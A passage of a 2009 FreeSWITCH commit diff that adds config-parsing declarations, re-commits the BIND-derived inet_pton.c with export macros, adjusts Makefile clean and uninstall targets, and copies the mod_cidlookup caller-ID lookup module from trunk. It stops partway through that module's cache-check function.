+typedef struct switch_xml_config_item switch_xml_config_item_t;
+
+typedef enum {
+	CONFIG_LOAD,
+	CONFIG_RELOAD,
+	CONFIG_SHUTDOWN
+} switch_config_callback_type_t;
+
+typedef enum {
+	CONFIG_RELOADABLE = (1 << 0),
+	CONFIG_REQUIRED = (1 << 1)
+} switch_config_flags_t;
+
+typedef switch_status_t (*switch_xml_config_callback_t)(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed);
+
+/*!
+ * \brief A configuration instruction read by switch_xml_config_parse 
+*/
+struct switch_xml_config_item {
+	const char *key;					   	/*< The key of the element, or NULL to indicate the end of the list */
+	switch_xml_config_type_t type; 			/*< The type of variable */
+	int flags; 	   							/*< True if the var can be changed on reload */
+	void *ptr;					   			/*< Ptr to the var to be changed */
+	const void *defaultvalue; 		   		/*< Default value */
+	void *data; 				   			/*< Custom data (depending on the type) */
+	switch_xml_config_callback_t function;	/*< Callback to be called after the var is parsed */
+	const char *syntax;						/*< Optional syntax documentation for this setting */
+	const char *helptext;					/*< Optional documentation text for this setting */
+};
+
+#define SWITCH_CONFIG_ITEM(_key, _type, _flags, _ptr, _defaultvalue, _data, _syntax, _helptext)	{ _key, _type, _flags, _ptr, (void*)_defaultvalue, (void*)_data, NULL, _syntax, _helptext }
+#define SWITCH_CONFIG_ITEM_STRING_STRDUP(_key, _flags, _ptr, _defaultvalue, _syntax, _helptext)	{ (_key), SWITCH_CONFIG_STRING, (_flags), (_ptr), ((void*)_defaultvalue), (NULL), (NULL), (_syntax), (_helptext) }
+#define SWITCH_CONFIG_ITEM_CALLBACK(_key, _type, _flags, _ptr, _defaultvalue, _function, _functiondata, _syntax, _helptext)	{ _key, _type, _flags, _ptr, (void*)_defaultvalue, _functiondata, _function, _syntax, _helptext }
+#define SWITCH_CONFIG_ITEM_END() { NULL, SWITCH_CONFIG_LAST, 0, NULL, NULL, NULL, NULL, NULL, NULL }
+
+#define SWITCH_CONFIG_SET_ITEM(_item, _key, _type, _flags, _ptr, _defaultvalue, _data, _syntax, _helptext)  switch_config_perform_set_item(&(_item), _key, _type, _flags, _ptr, (void*)(_defaultvalue), _data, NULL, _syntax, _helptext)
+#define SWITCH_CONFIG_SET_ITEM_CALLBACK(_item, _key, _type, _flags, _ptr, _defaultvalue, _data, _function, _syntax, _helptext)  switch_config_perform_set_item(&(_item), _key, _type, _flags, _ptr, (void*)(_defaultvalue), _data, _function, _syntax, _helptext)
+
+SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr, 	
+	const void* defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax, const char *helptext);
+	
+/*! 
+ * \brief Gets the int representation of an enum
+ * \param enum_options the switch_xml_config_enum_item_t array for this enum
+ * \param value string value to search 
+ */
+SWITCH_DECLARE(switch_status_t) switch_xml_config_enum_str2int(switch_xml_config_enum_item_t *enum_options, const char *value, int *out);
+
+/*! 
+ * \brief Gets the string representation of an enum
+ * \param enum_options the switch_xml_config_enum_item_t array for this enum
+ * \param value int value to search 
+ */
+SWITCH_DECLARE(const char*) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value);
+
+/*!
+ * \brief Prints out an item's documentation on the console 
+ * \param level loglevel to use
+ * \param item item which the doc should be printed
+ */
+SWITCH_DECLARE(void) switch_xml_config_item_print_doc(int level, switch_xml_config_item_t *item);
+
+/*! 
+ * \brief Parses all the xml elements, following a ruleset defined by an array of switch_xml_config_item_t 
+ * \param xml The first element of the list to parse
+ * \param reload true to skip all non-reloadable options
+ * \param instructions instrutions on how to parse the elements
+ * \see switch_xml_config_item_t
+ */
+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse(switch_xml_t xml, switch_bool_t reload, switch_xml_config_item_t *instructions);
+
+/*!
+ * \brief Parses a module's settings
+ * \param reload true to skip all non-reloadable options
+ * \param file the configuration file to look for
+ * \param instructions the instructions 
+ */
+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_module_settings(const char *file, switch_bool_t reload, switch_xml_config_item_t *instructions);
+
+/*! 
+ * \brief Parses all of an event's elements, following a ruleset defined by an array of switch_xml_config_item_t 
+ * \param event The event structure containing the key and values to parse
+ * \param reload true to skip all non-reloadable options
+ * \param instructions instrutions on how to parse the elements
+ * \see switch_xml_config_item_t
+ */
+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload, switch_xml_config_item_t *instructions);
+
+/*!
+ * \brief Parses a list of xml elements into an event  
+ * \param xml First element of the xml list to parse
+ * \param keyname Name of the key attribute
+ * \param keyvalue Name of the value attribute 
+ * \param event [out] event (if *event is NOT NULL, the headers will be appended to the existing event)
+ */
+SWITCH_DECLARE(switch_size_t) switch_event_import_xml(switch_xml_t xml, const char *keyname, const char *valuename, switch_event_t **event);
+
+/*!
+ * \brief Free any memory allocated by the configuration
+ * \param instructions instrutions on how to parse the elements
+ */
+SWITCH_DECLARE(void) switch_xml_config_cleanup(switch_xml_config_item_t *instructions);
+
+SWITCH_END_EXTERN_C
+
+#endif /* !defined(SWITCH_XML_CONFIG_H) */
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Modified: freeswitch/branches/seven/src/inet_pton.c (14471 => 14472)


--- freeswitch/branches/seven/src/inet_pton.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/inet_pton.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,238 +1,240 @@
-/* This is from the BIND 4.9.4 release, modified to compile by itself */
-
-/* Copyright (c) 1996 by Internet Software Consortium.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS
- * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE
- * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
- * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
- * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
- * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
- * SOFTWARE.
- */
-
-#ifndef HAVE_INET_PTON
-
-#ifdef HAVE_SYS_PARAM_H
-#include <sys/param.h>
-#endif
-#ifdef HAVE_SYS_TYPES_H
-#include <sys/types.h>
-#endif
-#ifdef HAVE_SYS_SOCKET_H
-#include <sys/socket.h>
-#endif
-#ifdef HAVE_NETINET_IN_H
-#include <netinet/in.h>
-#endif
-#ifdef HAVE_ARPA_INET_H
-#include <arpa/inet.h>
-#endif
-#include <string.h>
-#include <errno.h>
-
-#define IN6ADDRSZ       16
-#define INADDRSZ         4
-#define INT16SZ          2
-
-#ifdef WIN32
-#include <winsock2.h>
-#define EAFNOSUPPORT    WSAEAFNOSUPPORT
-#endif
-
-/*
- * WARNING: Don't even consider trying to compile this on a system where
- * sizeof(int) < 4.  sizeof(int) > 4 is fine; all the world's not a VAX.
- */
-
-static int      inet_pton4(const char *src, unsigned char *dst);
-#ifdef ENABLE_IPV6
-static int      inet_pton6(const char *src, unsigned char *dst);
-#endif
-
-/* int
- * inet_pton(af, src, dst)
- *      convert from presentation format (which usually means ASCII printable)
- *      to network format (which is usually some kind of binary format).
- * return:
- *      1 if the address was valid for the specified address family
- *      0 if the address wasn't valid (`dst' is untouched in this case)
- *      -1 if some other error occurred (`dst' is untouched in this case, too)
- * author:
- *      Paul Vixie, 1996.
- */
-int
-switch_inet_pton(int af, const char *src, void *dst)
-{
-  switch (af) {
-  case AF_INET:
-    return (inet_pton4(src, (unsigned char *)dst));
-#ifdef ENABLE_IPV6
-#ifndef AF_INET6
-#define AF_INET6        (AF_MAX+1)        /* just to let this compile */
-#endif
-  case AF_INET6:
-    return (inet_pton6(src, (unsigned char *)dst));
-#endif
-  default:
-    errno = EAFNOSUPPORT;
-    return (-1);
-  }
-  /* NOTREACHED */
-}
-
-/* int
- * inet_pton4(src, dst)
- *      like inet_aton() but without all the hexadecimal and shorthand.
- * return:
- *      1 if `src' is a valid dotted quad, else 0.
- * notice:
- *      does not touch `dst' unless it's returning 1.
- * author:
- *      Paul Vixie, 1996.
- */
-static int
-inet_pton4(const char *src, unsigned char *dst)
-{
-  static const char digits[] = "0123456789";
-  int saw_digit, octets, ch;
-  unsigned char tmp[INADDRSZ], *tp;
-
-  saw_digit = 0;
-  octets = 0;
-  tp = tmp;
-  *tp = 0;
-  while ((ch = *src++) != '\0') {
-    const char *pch;
-
-    if ((pch = strchr(digits, ch)) != NULL) {
-      unsigned int val = *tp * 10 + (unsigned int)(pch - digits);
-
-      if (val > 255)
-        return (0);
-      *tp = (unsigned char)val;
-      if (! saw_digit) {
-        if (++octets > 4)
-          return (0);
-        saw_digit = 1;
-      }
-    } else if (ch == '.' && saw_digit) {
-      if (octets == 4)
-        return (0);
-      *++tp = 0;
-      saw_digit = 0;
-    } else
-      return (0);
-  }
-  if (octets < 4)
-    return (0);
-  /* bcopy(tmp, dst, INADDRSZ); */
-  memcpy(dst, tmp, INADDRSZ);
-  return (1);
-}
-
-#ifdef ENABLE_IPV6
-/* int
- * inet_pton6(src, dst)
- *      convert presentation level address to network order binary form.
- * return:
- *      1 if `src' is a valid [RFC1884 2.2] address, else 0.
- * notice:
- *      (1) does not touch `dst' unless it's returning 1.
- *      (2) :: in a full address is silently ignored.
- * credit:
- *      inspired by Mark Andrews.
- * author:
- *      Paul Vixie, 1996.
- */
-static int
-inet_pton6(const char *src, unsigned char *dst)
-{
-  static const char xdigits_l[] = "0123456789abcdef",
-    xdigits_u[] = "0123456789ABCDEF";
-  unsigned char tmp[IN6ADDRSZ], *tp, *endp, *colonp;
-  const char *xdigits, *curtok;
-  int ch, saw_xdigit;
-  unsigned int val;
-
-  memset((tp = tmp), 0, IN6ADDRSZ);
-  endp = tp + IN6ADDRSZ;
-  colonp = NULL;
-  /* Leading :: requires some special handling. */
-  if (*src == ':')
-    if (*++src != ':')
-      return (0);
-  curtok = src;
-  saw_xdigit = 0;
-  val = 0;
-  while ((ch = *src++) != '\0') {
-    const char *pch;
-
-    if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL)
-      pch = strchr((xdigits = xdigits_u), ch);
-    if (pch != NULL) {
-      val <<= 4;
-      val |= (pch - xdigits);
-      if (val > 0xffff)
-        return (0);
-      saw_xdigit = 1;
-      continue;
-    }
-    if (ch == ':') {
-      curtok = src;
-      if (!saw_xdigit) {
-        if (colonp)
-          return (0);
-        colonp = tp;
-        continue;
-      }
-      if (tp + INT16SZ > endp)
-        return (0);
-      *tp++ = (unsigned char) (val >> 8) & 0xff;
-      *tp++ = (unsigned char) val & 0xff;
-      saw_xdigit = 0;
-      val = 0;
-      continue;
-    }
-    if (ch == '.' && ((tp + INADDRSZ) <= endp) &&
-        inet_pton4(curtok, tp) > 0) {
-      tp += INADDRSZ;
-      saw_xdigit = 0;
-      break;    /* '\0' was seen by inet_pton4(). */
-    }
-    return (0);
-  }
-  if (saw_xdigit) {
-    if (tp + INT16SZ > endp)
-      return (0);
-    *tp++ = (unsigned char) (val >> 8) & 0xff;
-    *tp++ = (unsigned char) val & 0xff;
-  }
-  if (colonp != NULL) {
-    /*
-     * Since some memmove()'s erroneously fail to handle
-     * overlapping regions, we'll do the shift by hand.
-     */
-    const int n = tp - colonp;
-    int i;
-
-    for (i = 1; i <= n; i++) {
-      endp[- i] = colonp[n - i];
-      colonp[n - i] = 0;
-    }
-    tp = endp;
-  }
-  if (tp != endp)
-    return (0);
-  /* bcopy(tmp, dst, IN6ADDRSZ); */
-  memcpy(dst, tmp, IN6ADDRSZ);
-  return (1);
-}
-#endif /* ENABLE_IPV6 */
-
-#endif /* HAVE_INET_PTON */
+/* This is from the BIND 4.9.4 release, modified to compile by itself */
+
+/* Copyright (c) 1996 by Internet Software Consortium.
+ *
+ * Permission to use, copy, modify, and distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS
+ * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
+ * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE
+ * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
+ * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
+ * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
+ * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ * SOFTWARE.
+ */
+
+#ifndef HAVE_INET_PTON
+
+#ifdef HAVE_SYS_PARAM_H
+#include <sys/param.h>
+#endif
+#ifdef HAVE_SYS_TYPES_H
+#include <sys/types.h>
+#endif
+#ifdef HAVE_SYS_SOCKET_H
+#include <sys/socket.h>
+#endif
+#ifdef HAVE_NETINET_IN_H
+#include <netinet/in.h>
+#endif
+#ifdef HAVE_ARPA_INET_H
+#include <arpa/inet.h>
+#endif
+#include <string.h>
+#include <errno.h>
+
+#define IN6ADDRSZ       16
+#define INADDRSZ         4
+#define INT16SZ          2
+
+#ifdef WIN32
+#include <winsock2.h>
+#define EAFNOSUPPORT    WSAEAFNOSUPPORT
+#endif
+
+#include <switch.h>
+
+/*
+ * WARNING: Don't even consider trying to compile this on a system where
+ * sizeof(int) < 4.  sizeof(int) > 4 is fine; all the world's not a VAX.
+ */
+
+static int      inet_pton4(const char *src, unsigned char *dst);
+#ifdef ENABLE_IPV6
+static int      inet_pton6(const char *src, unsigned char *dst);
+#endif
+
+/* int
+ * inet_pton(af, src, dst)
+ *      convert from presentation format (which usually means ASCII printable)
+ *      to network format (which is usually some kind of binary format).
+ * return:
+ *      1 if the address was valid for the specified address family
+ *      0 if the address wasn't valid (`dst' is untouched in this case)
+ *      -1 if some other error occurred (`dst' is untouched in this case, too)
+ * author:
+ *      Paul Vixie, 1996.
+ */
+SWITCH_DECLARE(int)
+switch_inet_pton(int af, const char *src, void *dst)
+{
+  switch (af) {
+  case AF_INET:
+    return (inet_pton4(src, (unsigned char *)dst));
+#ifdef ENABLE_IPV6
+#ifndef AF_INET6
+#define AF_INET6        (AF_MAX+1)        /* just to let this compile */
+#endif
+  case AF_INET6:
+    return (inet_pton6(src, (unsigned char *)dst));
+#endif
+  default:
+    errno = EAFNOSUPPORT;
+    return (-1);
+  }
+  /* NOTREACHED */
+}
+
+/* int
+ * inet_pton4(src, dst)
+ *      like inet_aton() but without all the hexadecimal and shorthand.
+ * return:
+ *      1 if `src' is a valid dotted quad, else 0.
+ * notice:
+ *      does not touch `dst' unless it's returning 1.
+ * author:
+ *      Paul Vixie, 1996.
+ */
+static int
+inet_pton4(const char *src, unsigned char *dst)
+{
+  static const char digits[] = "0123456789";
+  int saw_digit, octets, ch;
+  unsigned char tmp[INADDRSZ], *tp;
+
+  saw_digit = 0;
+  octets = 0;
+  tp = tmp;
+  *tp = 0;
+  while ((ch = *src++) != '\0') {
+    const char *pch;
+
+    if ((pch = strchr(digits, ch)) != NULL) {
+      unsigned int val = *tp * 10 + (unsigned int)(pch - digits);
+
+      if (val > 255)
+        return (0);
+      *tp = (unsigned char)val;
+      if (! saw_digit) {
+        if (++octets > 4)
+          return (0);
+        saw_digit = 1;
+      }
+    } else if (ch == '.' && saw_digit) {
+      if (octets == 4)
+        return (0);
+      *++tp = 0;
+      saw_digit = 0;
+    } else
+      return (0);
+  }
+  if (octets < 4)
+    return (0);
+  /* bcopy(tmp, dst, INADDRSZ); */
+  memcpy(dst, tmp, INADDRSZ);
+  return (1);
+}
+
+#ifdef ENABLE_IPV6
+/* int
+ * inet_pton6(src, dst)
+ *      convert presentation level address to network order binary form.
+ * return:
+ *      1 if `src' is a valid [RFC1884 2.2] address, else 0.
+ * notice:
+ *      (1) does not touch `dst' unless it's returning 1.
+ *      (2) :: in a full address is silently ignored.
+ * credit:
+ *      inspired by Mark Andrews.
+ * author:
+ *      Paul Vixie, 1996.
+ */
+static int
+inet_pton6(const char *src, unsigned char *dst)
+{
+  static const char xdigits_l[] = "0123456789abcdef",
+    xdigits_u[] = "0123456789ABCDEF";
+  unsigned char tmp[IN6ADDRSZ], *tp, *endp, *colonp;
+  const char *xdigits, *curtok;
+  int ch, saw_xdigit;
+  unsigned int val;
+
+  memset((tp = tmp), 0, IN6ADDRSZ);
+  endp = tp + IN6ADDRSZ;
+  colonp = NULL;
+  /* Leading :: requires some special handling. */
+  if (*src == ':')
+    if (*++src != ':')
+      return (0);
+  curtok = src;
+  saw_xdigit = 0;
+  val = 0;
+  while ((ch = *src++) != '\0') {
+    const char *pch;
+
+    if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL)
+      pch = strchr((xdigits = xdigits_u), ch);
+    if (pch != NULL) {
+      val <<= 4;
+      val |= (pch - xdigits);
+      if (val > 0xffff)
+        return (0);
+      saw_xdigit = 1;
+      continue;
+    }
+    if (ch == ':') {
+      curtok = src;
+      if (!saw_xdigit) {
+        if (colonp)
+          return (0);
+        colonp = tp;
+        continue;
+      }
+      if (tp + INT16SZ > endp)
+        return (0);
+      *tp++ = (unsigned char) (val >> 8) & 0xff;
+      *tp++ = (unsigned char) val & 0xff;
+      saw_xdigit = 0;
+      val = 0;
+      continue;
+    }
+    if (ch == '.' && ((tp + INADDRSZ) <= endp) &&
+        inet_pton4(curtok, tp) > 0) {
+      tp += INADDRSZ;
+      saw_xdigit = 0;
+      break;    /* '\0' was seen by inet_pton4(). */
+    }
+    return (0);
+  }
+  if (saw_xdigit) {
+    if (tp + INT16SZ > endp)
+      return (0);
+    *tp++ = (unsigned char) (val >> 8) & 0xff;
+    *tp++ = (unsigned char) val & 0xff;
+  }
+  if (colonp != NULL) {
+    /*
+     * Since some memmove()'s erroneously fail to handle
+     * overlapping regions, we'll do the shift by hand.
+     */
+    const int n = tp - colonp;
+    int i;
+
+    for (i = 1; i <= n; i++) {
+      endp[- i] = colonp[n - i];
+      colonp[n - i] = 0;
+    }
+    tp = endp;
+  }
+  if (tp != endp)
+    return (0);
+  /* bcopy(tmp, dst, IN6ADDRSZ); */
+  memcpy(dst, tmp, IN6ADDRSZ);
+  return (1);
+}
+#endif /* ENABLE_IPV6 */
+
+#endif /* HAVE_INET_PTON */

Modified: freeswitch/branches/seven/src/mod/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/src/mod/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 all: $(OUR_MODULES)
-clean: $(OUR_CLEAN_MODULES)
+clean: $(OUR_CLEAN_MODULES) $(OUR_DISABLED_CLEAN_MODULES)
 install: $(OUR_INSTALL_MODULES)
-uninstall: $(OUR_UNINSTALL_MODULES)
+uninstall: $(OUR_UNINSTALL_MODULES) $(OUR_DISABLED_UNINSTALL_MODULES)
 
 $(OUR_MODULES) $(OUR_CLEAN_MODULES) $(OUR_INSTALL_MODULES) $(OUR_UNINSTALL_MODULES) $(OUR_DISABLED_MODULES) $(OUR_DISABLED_CLEAN_MODULES) $(OUR_DISABLED_INSTALL_MODULES) $(OUR_DISABLED_UNINSTALL_MODULES):
 	@set fnord $$MAKEFLAGS; amf=$$2; \

Copied: freeswitch/branches/seven/src/mod/applications/mod_cidlookup (from rev 14471, freeswitch/trunk/src/mod/applications/mod_cidlookup)

Deleted: freeswitch/branches/seven/src/mod/applications/mod_cidlookup/Makefile

Copied: freeswitch/branches/seven/src/mod/applications/mod_cidlookup/Makefile (from rev 14471, freeswitch/trunk/src/mod/applications/mod_cidlookup/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_cidlookup/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_cidlookup/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+WANT_CURL=yes
+BASE=../../../..
+include $(BASE)/build/modmake.rules
+

Deleted: freeswitch/branches/seven/src/mod/applications/mod_cidlookup/mod_cidlookup.c

Copied: freeswitch/branches/seven/src/mod/applications/mod_cidlookup/mod_cidlookup.c (from rev 14471, freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_cidlookup/mod_cidlookup.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_cidlookup/mod_cidlookup.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,612 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Rupa Schomaker <rupa@rupa.com>
+ *
+ * mod_cidlookup.c -- API for querying cid->name services
+ *
+ */
+ 
+#include <switch.h>
+#include <curl/curl.h>
+
+/* Prototypes */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cidlookup_shutdown);
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_cidlookup_runtime);
+SWITCH_MODULE_LOAD_FUNCTION(mod_cidlookup_load);
+
+/* SWITCH_MODULE_DEFINITION(name, load, shutdown, runtime) 
+ * Defines a switch_loadable_module_function_table_t and a static const char[] modname
+ */
+SWITCH_MODULE_DEFINITION(mod_cidlookup, mod_cidlookup_load, mod_cidlookup_shutdown, NULL);
+
+static char *SYNTAX = "cidlookup status|number [skipurl] [skipcitystate]";
+
+static struct {
+	char *url;
+
+	switch_bool_t cache;
+	int cache_expire;
+	
+	char *odbc_dsn;
+	char *sql;
+	char *citystate_sql;
+
+	switch_mutex_t *db_mutex;
+	switch_memory_pool_t *pool;
+	switch_odbc_handle_t *master_odbc;
+} globals;
+
+struct http_data {
+	switch_stream_handle_t stream;
+	switch_size_t bytes;
+	switch_size_t max_bytes;
+	int err;
+};
+
+
+struct callback_obj {
+	switch_memory_pool_t *pool;
+	char *name;
+};
+typedef struct callback_obj callback_t;
+
+
+static switch_event_node_t *reload_xml_event = NULL;
+
+static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	char *odbc_user = NULL;
+	char *odbc_pass = NULL;
+	char *odbc_dsn = NULL;
+	
+	switch_odbc_handle_t *odbc = NULL;
+
+	if (!switch_odbc_available()) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC is not compiled in.  Do not configure odbc-dsn parameter!\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (globals.db_mutex) {
+		switch_mutex_lock(globals.db_mutex);
+	}
+	
+	if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && changed) {
+		odbc_dsn = strdup(newvalue);
+
+		if(switch_strlen_zero(odbc_dsn)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No local database defined.\n");
+		} else {
+			if ((odbc_user = strchr(odbc_dsn, ':'))) {
+				*odbc_user++ = '\0';
+				if ((odbc_pass = strchr(odbc_user, ':'))) {
+					*odbc_pass++ = '\0';
+				}
+			}
+
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connecting to dsn: %s, %s, %s.\n", globals.odbc_dsn, odbc_user, odbc_pass);
+			
+			/* setup dsn */
+			
+			if (!(odbc = switch_odbc_handle_new(odbc_dsn, odbc_user, odbc_pass))) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
+				switch_goto_status(SWITCH_STATUS_FALSE, done);
+			}
+			if (switch_odbc_handle_connect(odbc) != SWITCH_ODBC_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
+				switch_goto_status(SWITCH_STATUS_FALSE, done);
+			}
+		}
+		
+		/* ok, we have a new connection, tear down old one */
+		if (globals.master_odbc) {
+			switch_odbc_handle_disconnect(globals.master_odbc);
+			switch_odbc_handle_destroy(&globals.master_odbc);
+		}
+		
+		/* and swap in new connection */
+		globals.master_odbc = odbc;
+	}
+
+	switch_goto_status(SWITCH_STATUS_SUCCESS, done);
+	
+done:
+	if (globals.db_mutex) {
+		switch_mutex_unlock(globals.db_mutex);
+	}
+	switch_safe_free(odbc_dsn);
+	return status;
+}
+
+static switch_xml_config_string_options_t config_opt_dsn = {NULL, 0, NULL}; /* anything is ok here */
+static switch_xml_config_item_t instructions[] = {
+	/* parameter name        type                 reloadable   pointer                         default value     options structure */
+	SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}", "URL for the CID lookup service"),
+	SWITCH_CONFIG_ITEM("cache", SWITCH_CONFIG_BOOL, CONFIG_RELOAD, &globals.cache, SWITCH_FALSE, NULL, "true|false", "whether to cache via cidlookup"),
+	SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *)300, NULL, "expire", "seconds to preserve num->name cache"),
+	SWITCH_CONFIG_ITEM_STRING_STRDUP("sql", CONFIG_RELOAD, &globals.sql, "", "sql whre number=${caller_id_number}", "SQL to run if overriding CID"),
+	SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, "", "sql to look up city/state info", "SQL to run if overriding CID"),
+	SWITCH_CONFIG_ITEM_CALLBACK("odbc-dsn", SWITCH_CONFIG_STRING, CONFIG_RELOAD, &globals.odbc_dsn, "", config_callback_dsn, &config_opt_dsn,
+		"db:user:passwd", "Database to use."),
+	SWITCH_CONFIG_ITEM_END()
+};
+
+static switch_status_t do_config(switch_bool_t reload)
+{
+	if (switch_xml_config_parse_module_settings("cidlookup.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_GENERR;
+	}
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static void event_handler(switch_event_t *event)
+{
+	do_config(SWITCH_TRUE);
+}
+
+static switch_bool_t cidlookup_execute_sql_callback(char *sql, switch_core_db_callback_func_t callback, void *pdata)
+{
+	switch_bool_t retval = SWITCH_FALSE;
+	
+	switch_mutex_lock(globals.db_mutex);
+	if (globals.odbc_dsn) {
+		if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, callback, pdata)
+				== SWITCH_ODBC_FAIL) {
+			retval = SWITCH_FALSE;
+		} else {
+			retval = SWITCH_TRUE;
+		}
+	}
+	switch_mutex_unlock(globals.db_mutex);
+	return retval;
+}
+
+static int cidlookup_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+	callback_t *cbt = (callback_t *) pArg;
+	switch_memory_pool_t *pool = cbt->pool;
+	
+	if (argc < 1) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+							"Unexpected number of columns returned for SQL.  Returned column count: %d. ",
+							argc);
+		return SWITCH_STATUS_GENERR;
+	}
+	cbt->name = switch_core_strdup(pool, switch_str_nil(argv[0]));
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Name: %s\n", cbt->name);
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* make a new string with digits only */
+static char *string_digitsonly(switch_memory_pool_t *pool, const char *str) 
+{
+	char *p, *np, *newstr;
+	size_t len;
+
+	p = (char *)str;
+
+	len = strlen(str);
+	newstr = switch_core_alloc(pool, len+1);
+	np = newstr;
+	
+	while(*p) {
+		if (switch_isdigit(*p)) {
+			*np = *p;
+			np++;
+		}
+		p++;
+	}
+	*np = '\0';
+
+	return newstr;
+}
+
+static char *check_cache(switch_memory_pool_t *pool, const char *number) {
+	char *cmd;
+	char *name = NULL;
+	switch_stream_handle_t stream = { 0 };
+	
+	SWITCH_STANDARD_STREAM(stream);
+	cmd = switch_core_sprintf(pool, "get fs:cidlookup:%s", number);
+	
+	if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
+		if (strncmp("-ERR", stream.data, 4)) {
+			name = switch_core_strdup(pool, stream.data);
+		} else {
